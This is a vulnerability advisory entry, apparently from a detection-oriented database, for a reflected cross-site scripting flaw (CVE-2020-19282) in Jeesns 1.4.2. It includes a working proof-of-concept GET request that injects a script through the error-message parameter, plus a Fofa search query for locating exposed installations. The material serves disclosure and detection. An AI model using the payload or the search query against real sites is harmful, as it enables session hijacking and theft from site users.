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CVE-2020-19282: Jeesns 1.4.2 - Cross-Site Scripting

TitleJeesns 1.4.2 - Cross-Site Scripting
Authorpikpikcu
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
RemediationUpgrade to the latest version of Jeesns or apply the vendor-provided patch to fix the XSS vulnerability.
CVSS Score6.1
EPSS Score0.06613
CVE IDCVE-2020-19282
CWE IDCWE-79
Fofa Querytitle="jeesns"
Tags cve2020 cve jeesns xss vuln

🔍 Vulnerability Description

Jeesns 1.4.2 is vulnerable to reflected cross-site scripting that allows attackers to execute arbitrary web scripts or HTML via a crafted payload in the system error message’s text field.

🌐 HTTP Request

GET /error?msg=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-19282.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-19282.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A